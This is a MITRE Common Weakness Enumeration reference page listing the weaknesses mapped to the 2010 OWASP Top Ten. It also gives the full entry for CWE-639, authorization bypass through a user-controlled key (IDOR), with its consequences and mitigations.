CWE

Common Weakness Enumeration

A community-developed list of SW & HW weaknesses that can become vulnerabilities

New to CWE? click here!
CWE Most Important Hardware Weaknesses
CWE Top 25 Most Dangerous Weaknesses
Home > CWE List > VIEW SLICE: CWE-809: Weaknesses in OWASP Top Ten (2010) (4.16)  
ID

CWE VIEW: Weaknesses in OWASP Top Ten (2010)

View ID: 809
Vulnerability Mapping: PROHIBITED This CWE ID must not be used to map to real-world vulnerabilities
Type: Graph
Downloads: Booklet | CSV | XML
+ Objective
CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2010. This view is considered obsolete as a newer version of the OWASP Top Ten is available.
+ Audience
Stakeholder Description
Software Developers This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing a good starting point for web application developers who want to code more securely.
Product Customers This view outlines the most important issues as identified by the OWASP Top Ten (2010 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.
Educators Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.
+ Relationships
The following graph shows the tree-like relationships between weaknesses that exist at different levels of abstraction. At the highest level, categories and pillars exist to group weaknesses. Categories (which are not technically weaknesses) are special CWE entries used to group weaknesses that share a common characteristic. Pillars are weaknesses that are described in the most abstract fashion. Below these top-level entries are weaknesses are varying levels of abstraction. Classes are still very abstract, typically independent of any specific language or technology. Base level weaknesses are used to present a more specific type of weakness. A variant is a weakness that is described at a very low level of detail, typically limited to a specific language or technology. A chain is a set of weaknesses that must be reachable consecutively in order to produce an exploitable vulnerability. While a composite is a set of weaknesses that must all be present simultaneously in order to produce an exploitable vulnerability.
Show Details:
809 - Weaknesses in OWASP Top Ten (2010)
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A1 - Injection - (810)
809 (Weaknesses in OWASP Top Ten (2010)) > 810 (OWASP Top Ten 2010 Category A1 - Injection)
Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2010.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - (78)
809 (Weaknesses in OWASP Top Ten (2010)) > 810 (OWASP Top Ten 2010 Category A1 - Injection) > 78 (Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'))
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Shell injection Shell metacharacters OS Command Injection
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') - (88)
809 (Weaknesses in OWASP Top Ten (2010)) > 810 (OWASP Top Ten 2010 Category A1 - Injection) > 88 (Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'))
The product constructs a string for a command to be executed by a separate component in another control sphere, but it does not properly delimit the intended arguments, options, or switches within that command string.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') - (89)
809 (Weaknesses in OWASP Top Ten (2010)) > 810 (OWASP Top Ten 2010 Category A1 - Injection) > 89 (Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'))
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. SQL injection SQLi
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') - (90)
809 (Weaknesses in OWASP Top Ten (2010)) > 810 (OWASP Top Ten 2010 Category A1 - Injection) > 90 (Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection'))
The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. XML Injection (aka Blind XPath Injection) - (91)
809 (Weaknesses in OWASP Top Ten (2010)) > 810 (OWASP Top Ten 2010 Category A1 - Injection) > 91 (XML Injection (aka Blind XPath Injection))
The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS) - (811)
809 (Weaknesses in OWASP Top Ten (2010)) > 811 (OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS))
Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2010.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - (79)
809 (Weaknesses in OWASP Top Ten (2010)) > 811 (OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS)) > 79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. XSS HTML Injection CSS
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management - (812)
809 (Weaknesses in OWASP Top Ten (2010)) > 812 (OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management)
Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2010.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Authentication - (287)
809 (Weaknesses in OWASP Top Ten (2010)) > 812 (OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management) > 287 (Improper Authentication)
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. authentification AuthN AuthC
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Missing Authentication for Critical Function - (306)
809 (Weaknesses in OWASP Top Ten (2010)) > 812 (OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management) > 306 (Missing Authentication for Critical Function)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Restriction of Excessive Authentication Attempts - (307)
809 (Weaknesses in OWASP Top Ten (2010)) > 812 (OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management) > 307 (Improper Restriction of Excessive Authentication Attempts)
The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Use of Hard-coded Credentials - (798)
809 (Weaknesses in OWASP Top Ten (2010)) > 812 (OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management) > 798 (Use of Hard-coded Credentials)
The product contains hard-coded credentials, such as a password or cryptographic key.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A4 - Insecure Direct Object References - (813)
809 (Weaknesses in OWASP Top Ten (2010)) > 813 (OWASP Top Ten 2010 Category A4 - Insecure Direct Object References)
Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2010.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') - (22)
809 (Weaknesses in OWASP Top Ten (2010)) > 813 (OWASP Top Ten 2010 Category A4 - Insecure Direct Object References) > 22 (Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'))
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Directory traversal Path traversal
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Unrestricted Upload of File with Dangerous Type - (434)
809 (Weaknesses in OWASP Top Ten (2010)) > 813 (OWASP Top Ten 2010 Category A4 - Insecure Direct Object References) > 434 (Unrestricted Upload of File with Dangerous Type)
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment. Unrestricted File Upload
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Authorization Bypass Through User-Controlled Key - (639)
809 (Weaknesses in OWASP Top Ten (2010)) > 813 (OWASP Top Ten 2010 Category A4 - Insecure Direct Object References) > 639 (Authorization Bypass Through User-Controlled Key)
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Insecure Direct Object Reference / IDOR Broken Object Level Authorization / BOLA Horizontal Authorization
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Inclusion of Functionality from Untrusted Control Sphere - (829)
809 (Weaknesses in OWASP Top Ten (2010)) > 813 (OWASP Top Ten 2010 Category A4 - Insecure Direct Object References) > 829 (Inclusion of Functionality from Untrusted Control Sphere)
The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Missing Authorization - (862)
809 (Weaknesses in OWASP Top Ten (2010)) > 813 (OWASP Top Ten 2010 Category A4 - Insecure Direct Object References) > 862 (Missing Authorization)
The product does not perform an authorization check when an actor attempts to access a resource or perform an action. AuthZ
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Incorrect Authorization - (863)
809 (Weaknesses in OWASP Top Ten (2010)) > 813 (OWASP Top Ten 2010 Category A4 - Insecure Direct Object References) > 863 (Incorrect Authorization)
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. AuthZ
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Control of Resource Identifiers ('Resource Injection') - (99)
809 (Weaknesses in OWASP Top Ten (2010)) > 813 (OWASP Top Ten 2010 Category A4 - Insecure Direct Object References) > 99 (Improper Control of Resource Identifiers ('Resource Injection'))
The product receives input from an upstream component, but it does not restrict or incorrectly restricts the input before it is used as an identifier for a resource that may be outside the intended sphere of control. Insecure Direct Object Reference
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF) - (814)
809 (Weaknesses in OWASP Top Ten (2010)) > 814 (OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF))
Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2010.
* Composite Composite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability. Cross-Site Request Forgery (CSRF) - (352)
809 (Weaknesses in OWASP Top Ten (2010)) > 814 (OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF)) > 352 (Cross-Site Request Forgery (CSRF))
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. Session Riding Cross Site Reference Forgery XSRF
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A6 - Security Misconfiguration - (815)
809 (Weaknesses in OWASP Top Ten (2010)) > 815 (OWASP Top Ten 2010 Category A6 - Security Misconfiguration)
Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2010.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Generation of Error Message Containing Sensitive Information - (209)
809 (Weaknesses in OWASP Top Ten (2010)) > 815 (OWASP Top Ten 2010 Category A6 - Security Misconfiguration) > 209 (Generation of Error Message Containing Sensitive Information)
The product generates an error message that includes sensitive information about its environment, users, or associated data.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Storage of File with Sensitive Data Under Web Root - (219)
809 (Weaknesses in OWASP Top Ten (2010)) > 815 (OWASP Top Ten 2010 Category A6 - Security Misconfiguration) > 219 (Storage of File with Sensitive Data Under Web Root)
The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Execution with Unnecessary Privileges - (250)
809 (Weaknesses in OWASP Top Ten (2010)) > 815 (OWASP Top Ten 2010 Category A6 - Security Misconfiguration) > 250 (Execution with Unnecessary Privileges)
The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Insertion of Sensitive Information into Externally-Accessible File or Directory - (538)
809 (Weaknesses in OWASP Top Ten (2010)) > 815 (OWASP Top Ten 2010 Category A6 - Security Misconfiguration) > 538 (Insertion of Sensitive Information into Externally-Accessible File or Directory)
The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Files or Directories Accessible to External Parties - (552)
809 (Weaknesses in OWASP Top Ten (2010)) > 815 (OWASP Top Ten 2010 Category A6 - Security Misconfiguration) > 552 (Files or Directories Accessible to External Parties)
The product makes files or directories accessible to unauthorized actors, even though they should not be.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Incorrect Permission Assignment for Critical Resource - (732)
809 (Weaknesses in OWASP Top Ten (2010)) > 815 (OWASP Top Ten 2010 Category A6 - Security Misconfiguration) > 732 (Incorrect Permission Assignment for Critical Resource)
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage - (816)
809 (Weaknesses in OWASP Top Ten (2010)) > 816 (OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage)
Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2010.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Missing Encryption of Sensitive Data - (311)
809 (Weaknesses in OWASP Top Ten (2010)) > 816 (OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage) > 311 (Missing Encryption of Sensitive Data)
The product does not encrypt sensitive or critical information before storage or transmission.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Storage of Sensitive Information - (312)
809 (Weaknesses in OWASP Top Ten (2010)) > 816 (OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage) > 312 (Cleartext Storage of Sensitive Information)
The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Inadequate Encryption Strength - (326)
809 (Weaknesses in OWASP Top Ten (2010)) > 816 (OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage) > 326 (Inadequate Encryption Strength)
The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Use of a Broken or Risky Cryptographic Algorithm - (327)
809 (Weaknesses in OWASP Top Ten (2010)) > 816 (OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage) > 327 (Use of a Broken or Risky Cryptographic Algorithm)
The product uses a broken or risky cryptographic algorithm or protocol.
* Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. Use of a One-Way Hash without a Salt - (759)
809 (Weaknesses in OWASP Top Ten (2010)) > 816 (OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage) > 759 (Use of a One-Way Hash without a Salt)
The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product does not also use a salt as part of the input.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access - (817)
809 (Weaknesses in OWASP Top Ten (2010)) > 817 (OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access)
Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2010.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Improper Authorization - (285)
809 (Weaknesses in OWASP Top Ten (2010)) > 817 (OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access) > 285 (Improper Authorization)
The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. AuthZ
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Missing Authorization - (862)
809 (Weaknesses in OWASP Top Ten (2010)) > 817 (OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access) > 862 (Missing Authorization)
The product does not perform an authorization check when an actor attempts to access a resource or perform an action. AuthZ
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Incorrect Authorization - (863)
809 (Weaknesses in OWASP Top Ten (2010)) > 817 (OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access) > 863 (Incorrect Authorization)
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. AuthZ
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection - (818)
809 (Weaknesses in OWASP Top Ten (2010)) > 818 (OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection)
Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2010.
* Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. Missing Encryption of Sensitive Data - (311)
809 (Weaknesses in OWASP Top Ten (2010)) > 818 (OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection) > 311 (Missing Encryption of Sensitive Data)
The product does not encrypt sensitive or critical information before storage or transmission.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. Cleartext Transmission of Sensitive Information - (319)
809 (Weaknesses in OWASP Top Ten (2010)) > 818 (OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection) > 319 (Cleartext Transmission of Sensitive Information)
The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors.
+ Category Category - a CWE entry that contains a set of other entries that share a common characteristic. OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards - (819)
809 (Weaknesses in OWASP Top Ten (2010)) > 819 (OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards)
Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2010.
* Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. URL Redirection to Untrusted Site ('Open Redirect') - (601)
809 (Weaknesses in OWASP Top Ten (2010)) > 819 (OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards) > 601 (URL Redirection to Untrusted Site ('Open Redirect'))
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Open Redirect Cross-site Redirect Cross-domain Redirect Unvalidated Redirect
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: View

Rationale:

This entry is a View. Views are not weaknesses and therefore inappropriate to describe the root causes of vulnerabilities.

Comments:

Use this View or other Views to search and navigate for the appropriate weakness.
+ Notes

Relationship

The relationships in this view are a direct extraction of the CWE mappings that are in the 2010 OWASP document. CWE has changed since the release of that document.
+ References
+ View Metrics
CWEs in this view Total CWEs
Weaknesses 32 out of 940
Categories 10 out of 374
Views 0 out of 51
Total 42 out of 1365
+ Content History
+ Submissions
Submission Date Submitter Organization
2010-06-17
(CWE 1.9, 2010-06-21)
CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2013-07-16 MITRE
Updated Reference URL
2013-07-17 CWE Content Team MITRE
updated References
2017-11-08 CWE Content Team MITRE
updated References
2019-01-03 CWE Content Team MITRE
updated Description
2020-02-24 CWE Content Team MITRE
updated View_Audience
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes

View Components

A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID: 639
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
+ Extended Description

Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user-related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system.

For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

One manifestation of this weakness is when a system uses sequential or otherwise easily-guessable session IDs that would allow one user to easily switch to another user's session and read/modify their data.

+ Alternate Terms
Insecure Direct Object Reference / IDOR:
The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.
Broken Object Level Authorization / BOLA:
BOLA is used in the 2019 OWASP API Security Top 10 and is said to be the same as IDOR.
Horizontal Authorization:
"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope Impact Likelihood
Access Control

Technical Impact: Bypass Protection Mechanism

Access control checks for specific user data or functionality can be bypassed.
Access Control

Technical Impact: Gain Privileges or Assume Identity

Horizontal escalation of privilege is possible (one user can view/modify information of another user).
Access Control

Technical Impact: Gain Privileges or Assume Identity

Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.
+ Potential Mitigations

Phase: Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Phases: Architecture and Design; Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Phase: Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 863 Incorrect Authorization
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 566 Authorization Bypass Through User-Controlled SQL Primary Key
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 840 Business Logic Errors
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1212 Authorization Errors
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 863 Incorrect Authorization
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1011 Authorize Actors
